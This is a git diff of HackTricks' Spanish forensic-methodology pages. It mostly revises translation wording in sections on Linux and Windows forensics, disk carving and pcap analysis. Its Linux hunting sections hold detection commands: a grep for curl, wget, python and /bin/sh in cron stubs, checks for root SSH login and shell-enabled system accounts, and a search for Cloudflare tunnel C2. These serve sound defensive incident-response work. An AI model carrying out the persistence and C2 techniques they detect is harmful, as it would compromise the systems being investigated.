@@ -265,7 +265,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
```
- Rollback de endurecimiento de configuración SSH: habilitar inicios de sesión de root y alterar shells predeterminados para cuentas de bajo privilegio.
-- Cace para habilitar inicios de sesión de root:
+- Cace para habilitar el inicio de sesión de root:
```bash
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# valores de bandera como "yes" o configuraciones excesivamente permisivas
@@ -285,12 +285,12 @@ Los defensores deben correlacionar estos artefactos con la exposición externa y
## Referencias
-- Sophos X-Ops – “AuKill: Un controlador vulnerable armado para deshabilitar EDR” (marzo de 2023)
+- Sophos X-Ops – “AuKill: A Weaponized Vulnerable Driver for Disabling EDR” (marzo de 2023)
https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr
-- Red Canary – “Parcheando EtwEventWrite para sigilo: Detección y Caza” (junio de 2024)
+- Red Canary – “Patching EtwEventWrite for Stealth: Detection & Hunting” (junio de 2024)
https://redcanary.com/blog/etw-patching-detection
-- [Red Canary – Parcheando para persistencia: Cómo el malware DripDropper de Linux se mueve a través de la nube](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
+- [Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
- [CVE‑2023‑46604 – Apache ActiveMQ OpenWire RCE (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2023-46604)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index 52732eabb..20005a366 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -132,7 +132,7 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
-## Buscar malware conocido
+## Buscar Malware conocido
### Archivos del sistema modificados
@@ -153,7 +153,7 @@ malware-analysis.md
Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considera aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes.
-- Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
+- Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, usando `grep` para filtrar información específica.
- Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados.
Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explora directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ y _**`/sbin`**_. Combina listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando tu búsqueda de todos los programas instalados.
@@ -196,7 +196,7 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
-#### Caza: abuso de Cron/Anacron a través de 0anacron y stubs sospechosos
+#### Hunt: Abuso de Cron/Anacron a través de 0anacron y stubs sospechosos
Los atacantes a menudo editan el stub 0anacron presente en cada directorio /etc/cron.*/ para asegurar la ejecución periódica.
```bash
# List 0anacron files and their timestamps/sizes
@@ -214,9 +214,9 @@ grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# System accounts with interactive shells (e.g., games → /bin/sh)
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
```
-#### Hunt: Marcadores de C2 en la nube (Dropbox/Cloudflare Tunnel)
+#### Caza: Marcadores de C2 en la nube (Dropbox/Cloudflare Tunnel)
- Las balizas de la API de Dropbox típicamente utilizan api.dropboxapi.com o content.dropboxapi.com a través de HTTPS con tokens de autorización: Bearer.
-- Busca en proxy/Zeek/NetFlow por egresos inesperados de Dropbox desde servidores.
+- Caza en proxy/Zeek/NetFlow para egress inesperado de Dropbox desde servidores.
- Cloudflare Tunnel (`cloudflared`) proporciona C2 de respaldo a través de 443 saliente.
```bash
ps aux | grep -E '[c]loudflared|trycloudflare'
@@ -246,7 +246,7 @@ Los módulos del kernel de Linux, a menudo utilizados por malware como component
### Otras Ubicaciones de Autoinicio
-Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión el usuario, potencialmente albergando malware:
+Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware:
- **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
@@ -267,7 +267,7 @@ Los sistemas Linux rastrean las actividades de los usuarios y los eventos del si
- **/var/log/cron**: Registra ejecuciones de trabajos cron.
- **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano.
- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
-- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
+- **/var/log/httpd/**: Contiene registros de errores y acceso de Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
- **/var/log/xferlog**: Registra transferencias de archivos FTP.
- **/var/log/**: Siempre verifica si hay registros inesperados aquí.
@@ -298,9 +298,9 @@ Algunas aplicaciones también generan sus propios registros:
- **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome.
- **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ para actividades sospechosas.
- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
-- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos.
-- **FTP/SFTP**: Revisa registros en _\~/.ftp_history_ o _\~/.sftp_history_ para transferencias de archivos que podrían no estar autorizadas.
-- **MySQL**: Investiga _\~/.mysql_history_ para consultas de MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos.
+- **Open Office**: Verifica el acceso reciente a documentos que pueden indicar archivos comprometidos.
+- **FTP/SFTP**: Revisa registros en _\~/.ftp_history_ o _\~/.sftp_history_ para transferencias de archivos que podrían ser no autorizadas.
+- **MySQL**: Investiga _\~/.mysql_history_ para consultas MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos.
- **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados.
- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en los repositorios.
@@ -333,7 +333,7 @@ Finalmente, busque cuentas con **sin contraseñas** o **contraseñas fácilmente
## Examinar el Sistema de Archivos
-### Análisis de Estructuras del Sistema de Archivos en la Investigación de Malware
+### Analizando Estructuras del Sistema de Archivos en la Investigación de Malware
Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
index 151233c89..0e0764c3c 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,4 +1,4 @@
-# Particiones/Sistemas de Archivos/Carving
+# Partitions/File Systems/Carving
{{#include ../../../banners/hacktricks-training.md}}
@@ -17,7 +17,7 @@ MBR permite **máx 2.2TB**.
.png>)
-Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se utiliza Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma del Disco de Windows** (si se utiliza Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
.png>)
@@ -26,10 +26,10 @@ Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Wi
| Offset | Longitud | Elemento |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Código de arranque |
-| 446 (0x1BE) | 16 (0x10) | Primera Partición |
-| 462 (0x1CE) | 16 (0x10) | Segunda Partición |
-| 478 (0x1DE) | 16 (0x10) | Tercera Partición |
-| 494 (0x1EE) | 16 (0x10) | Cuarta Partición |
+| 446 (0x1BE) | 16 (0x10) | Primera partición |
+| 462 (0x1CE) | 16 (0x10) | Segunda partición |
+| 478 (0x1DE) | 16 (0x10) | Tercera partición |
+| 494 (0x1EE) | 16 (0x10) | Cuarta partición |
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
**Formato del Registro de Partición**
@@ -39,7 +39,7 @@ Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Wi
| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) |
| 1 (0x01) | 1 (0x01) | Cabeza de inicio |
| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6-7) |
-| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos |
+| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos |
| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Cabeza final |
| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6-7) |
@@ -49,7 +49,7 @@ Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Wi
Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`)
- (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
+ (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Y luego usa el siguiente código
```bash
@@ -68,7 +68,7 @@ La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidade
- **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR.
- **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos.
-- **Nombres de partición**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode.
+- **Nombres de particiones**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode.
**Resiliencia y recuperación de datos**:
@@ -77,7 +77,7 @@ La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidade
**MBR protector (LBA0)**:
-- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades basadas en MBR más antiguas sobrescriban accidentalmente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT.
+- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades más antiguas basadas en MBR sobrescriban erróneamente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT.
.png>)
@@ -95,17 +95,17 @@ El encabezado de la tabla de particiones define los bloques utilizables en el di
| Desplazamiento | Longitud | Contenido |
| -------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)en máquinas little-endian) |
+| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)en máquinas little-endian) |
| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo |
| 20 (0x14) | 4 bytes | Reservado; debe ser cero |
| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
-| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (LBA del último de la tabla de particiones primaria + 1) |
+| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) |
| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) |
| 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
-| 72 (0x48) | 8 bytes | LBA inicial de un array de entradas de partición (siempre 2 en la copia primaria) |
+| 72 (0x48) | 8 bytes | LBA de inicio de un array de entradas de partición (siempre 2 en la copia primaria) |
| 80 (0x50) | 4 bytes | Número de entradas de partición en el array |
| 84 (0x54) | 4 bytes | Tamaño de una única entrada de partición (generalmente 80h o 128) |
| 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian |
@@ -116,8 +116,8 @@ El encabezado de la tabla de particiones define los bloques utilizables en el di
| Formato de entrada de partición GUID | | |
| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| Desplazamiento | Longitud | Contenido |
-| 0 (0x00) | 16 bytes | [Tipo de partición GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixto) |
-| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) |
+| 0 (0x00) | 16 bytes | [GUID de tipo de partición](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixto) |
+| 16 (0x10) | 16 bytes | GUID único de partición (endian mixto) |
| 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) |
| 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) |
@@ -154,8 +154,8 @@ El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñad
La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones:
- **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX).
-- **FAT16**, mejorando a direcciones de 16 bits, permitiendo así hasta 65,517 clusters.
-- **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen.
+- **FAT16**, que mejora a direcciones de 16 bits, permitiendo así hasta 65,517 clusters.
+- **FAT32**, que avanza aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen.
Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo.
@@ -164,12 +164,12 @@ Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16,
- **Nombre de archivo/carpeta** (hasta 8 caracteres)
- **Atributos**
- **Fechas de creación, modificación y último acceso**
-- **Dirección de la tabla FAT** (indicando el cluster inicial del archivo)
+- **Dirección de la tabla FAT** (que indica el cluster de inicio del archivo)
- **Tamaño del archivo**
### EXT
-**Ext2** es el sistema de archivos más común para **particiones que no registran** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **registradores** y se utilizan generalmente para el **resto de las particiones**.
+**Ext2** es el sistema de archivos más común para **particiones que no utilizan journaling** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **journaling** y se utilizan generalmente para el **resto de las particiones**.
## **Metadatos**
@@ -197,13 +197,13 @@ Además, el sistema operativo generalmente guarda mucha información sobre los c
file-data-carving-recovery-tools.md
{{#endref}}
-### **Carving de archivos**
+### **File Carving**
-**El carving de archivos** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en encabezados y pies de tipos de archivos**, basado en **estructuras** de tipos de archivos y basado en el **contenido** mismo.
+**File carving** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en encabezados y pies de archivos**, basado en **estructuras** de tipos de archivos y basado en el **contenido** mismo.
Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él.
-Hay varias herramientas que puedes usar para el carving de archivos indicando los tipos de archivos que deseas buscar.
+Hay varias herramientas que puedes usar para el file carving indicando los tipos de archivos que deseas buscar.
{{#ref}}
file-data-carving-recovery-tools.md
@@ -211,7 +211,7 @@ file-data-carving-recovery-tools.md
### Carving de flujo de datos
-El carving de flujo de datos es similar al carving de archivos, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
+El carving de flujo de datos es similar al file carving, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs.
{{#ref}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
index 578ef94a6..e43cb80db 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-> [!NOTE]
+> [!TIP]
> Una nota sobre **PCAP** vs **PCAPNG**: hay dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesite convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas.
## Herramientas en línea para pcaps
@@ -18,7 +18,7 @@ Las siguientes herramientas son útiles para extraer estadísticas, archivos, et
### Wireshark
-> [!NOTE]
+> [!TIP]
> **Si va a analizar un PCAP, básicamente debe saber cómo usar Wireshark**
Puede encontrar algunos trucos de Wireshark en:
@@ -84,6 +84,7 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
Usar técnicas de carving comunes puede ser útil para extraer archivos e información del pcap:
+
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
@@ -200,14 +201,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs
```
## Otras trucos de análisis de pcap
+
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
+
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
+
{{#ref}}
usb-keystrokes.md
{{#endref}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
index 741d4b18e..448a55900 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
@@ -1,39 +1,50 @@
+# Trucos Específicos de Software/Tipo de Archivo
+
{{#include ../../../banners/hacktricks-training.md}}
Aquí puedes encontrar trucos interesantes para tipos de archivos y/o software específicos:
+
{{#ref}}
.pyc.md
{{#endref}}
+
{{#ref}}
browser-artifacts.md
{{#endref}}
+
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
+
{{#ref}}
local-cloud-storage.md
{{#endref}}
+
{{#ref}}
office-file-analysis.md
{{#endref}}
+
{{#ref}}
pdf-file-analysis.md
{{#endref}}
+
{{#ref}}
png-tricks.md
{{#endref}}
+
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
+
{{#ref}}
zips-tricks.md
{{#endref}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
index c7191fe2f..100699f72 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
@@ -1,32 +1,30 @@
-# Artefactos de Windows
-
-## Artefactos de Windows
+# Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
-## Artefactos Genéricos de Windows
+## Generic Windows Artifacts
-### Notificaciones de Windows 10
+### Windows 10 Notifications
-En la ruta `\Users\\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes del aniversario de Windows) o `wpndatabase.db` (después del aniversario de Windows).
+En la ruta `\Users\\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes de la actualización de aniversario de Windows) o `wpndatabase.db` (después de la actualización de aniversario de Windows).
Dentro de esta base de datos SQLite, puedes encontrar la tabla `Notification` con todas las notificaciones (en formato XML) que pueden contener datos interesantes.
-### Línea de Tiempo
+### Timeline
-La línea de tiempo es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas.
+Timeline es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas.
-La base de datos reside en la ruta `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
+La base de datos se encuentra en la ruta `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
-### ADS (Flujos de Datos Alternativos)
+### ADS (Alternate Data Streams)
Los archivos descargados pueden contener el **ADS Zone.Identifier** que indica **cómo** fue **descargado** desde la intranet, internet, etc. Algunos programas (como navegadores) suelen poner incluso **más** **información** como la **URL** desde donde se descargó el archivo.
-## **Copias de Seguridad de Archivos**
+## **File Backups**
-### Papelera de Reciclaje
+### Recycle Bin
-En Vista/Win7/Win8/Win10 la **Papelera de Reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\
+En Vista/Win7/Win8/Win10 la **Recycle Bin** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\
Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos:
- `$I{id}`: Información del archivo (fecha de cuando fue eliminado)
@@ -58,9 +56,9 @@ La entrada del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Bac
El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también contiene información de configuración sobre las `Copias de Sombra de Volumen`.
-### Archivos de Office AutoGuardados
+### Archivos AutoGuardados de Office
-Puedes encontrar los archivos de auto guardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
+Puedes encontrar los archivos auto guardados de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Elementos de Shell
@@ -128,7 +126,7 @@ Es posible identificar que se utilizó un dispositivo USB gracias a la creación
- Carpeta Reciente de Microsoft Office
- Jumplists
-Ten en cuenta que algunos archivos LNK en lugar de apuntar a la ruta original, apuntan a la carpeta WPDNSE:
+Nota que algunos archivos LNK en lugar de apuntar a la ruta original, apuntan a la carpeta WPDNSE:
.png>)
@@ -142,7 +140,7 @@ Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no
Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`).
- (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
+ (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
@@ -161,7 +159,7 @@ Se proporciona una captura de pantalla que muestra el contenido de la tarea: ![]
**Componentes Clave y Configuraciones de la Tarea:**
- **pnpclean.dll**: Este DLL es responsable del proceso de limpieza real.
-- **UseUnifiedSchedulingEngine**: Establecido en `TRUE`, indicando el uso del motor de programación de tareas genérico.
+- **UseUnifiedSchedulingEngine**: Configurado en `TRUE`, indicando el uso del motor de programación de tareas genérico.
- **MaintenanceSettings**:
- **Period ('P1M')**: Indica al Programador de Tareas que inicie la tarea de limpieza mensualmente durante el mantenimiento automático regular.
- **Deadline ('P2M')**: Instruye al Programador de Tareas, si la tarea falla durante dos meses consecutivos, a ejecutar la tarea durante el mantenimiento automático de emergencia.
@@ -191,7 +189,7 @@ Los **metadatos** de los correos y los **contactos** se pueden encontrar dentro
### Microsoft Outlook
-Cuando se utilizan servidores Exchange o clientes de Outlook, habrá algunos encabezados MAPI:
+Cuando se utilizan servidores de Exchange o clientes de Outlook, habrá algunos encabezados MAPI:
- `Mapi-Client-Submit-Time`: Hora del sistema cuando se envió el correo
- `Mapi-Conversation-Index`: Número de mensajes hijos del hilo y marca de tiempo de cada mensaje del hilo
@@ -232,7 +230,7 @@ Los adjuntos perdidos podrían ser recuperables de:
### Información del Registro de Windows
-El Registro de Windows, que almacena una extensa cantidad de datos sobre la actividad del sistema y del usuario, se encuentra dentro de archivos en:
+El Registro de Windows, que almacena una extensa cantidad de datos sobre el sistema y la actividad del usuario, se encuentra dentro de archivos en:
- `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`.
@@ -264,6 +262,7 @@ En `SAM\Domains\Account\Users` puedes obtener el nombre de usuario, el RID, el
### Entradas Interesantes en el Registro de Windows
+
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
@@ -280,7 +279,7 @@ Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\
### BAM (Moderador de Actividad en Segundo Plano)
-Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de datos del registro).
+Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de Datos del registro).
### Prefetch de Windows
@@ -337,7 +336,7 @@ El **AppCompatCache**, también conocido como **ShimCache**, forma parte de la *
- Hora de última actualización del ShimCache
- Bandera de ejecución del proceso
-Estos datos se almacenan en el registro en ubicaciones específicas según la versión del sistema operativo:
+Dicha información se almacena en el registro en ubicaciones específicas según la versión del sistema operativo:
- Para XP, los datos se almacenan en `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacidad para 96 entradas.
- Para Server 2003, así como para las versiones de Windows 2008, 2012, 2016, 7, 8 y 10, la ruta de almacenamiento es `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 y 1024 entradas, respectivamente.
@@ -388,7 +387,7 @@ Y **aplicaciones desinstaladas** en: `Software\Microsoft\Windows\CurrentVersion\
La información que aparece dentro de los eventos de Windows es:
-- Qué sucedió
+- Lo que sucedió
- Marca de tiempo (UTC + 0)
- Usuarios involucrados
- Hosts involucrados (nombre de host, IP)
